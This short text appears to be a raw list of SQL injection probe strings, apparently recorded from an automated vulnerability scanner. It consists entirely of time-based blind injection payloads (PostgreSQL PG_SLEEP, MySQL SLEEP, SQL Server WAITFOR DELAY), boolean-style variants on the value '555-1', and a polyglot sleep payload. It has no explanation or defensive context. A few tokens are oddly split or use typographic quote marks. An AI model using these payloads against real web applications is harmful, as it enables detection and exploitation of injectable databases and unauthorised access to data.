555-1)) OR 164=(SELECT 164 FROM PG_SLEEP(15))--

555-1) OR 844=(SELECT 844 FROM PG_SLEEP(15))--

555-1 OR 337=(SELECT 337 FROM PG_SLEEP(15))--

555QneMS3BV′

555-1 waitfor delay ′0:0:15′ --

555-1)

555-1

(select(0)from(select(sleep(15)))v)/*′+(sele ct(0)from(select(sleep(15)))v)+′"+(selec t(0)from(select(sleep(15)))v)+"*/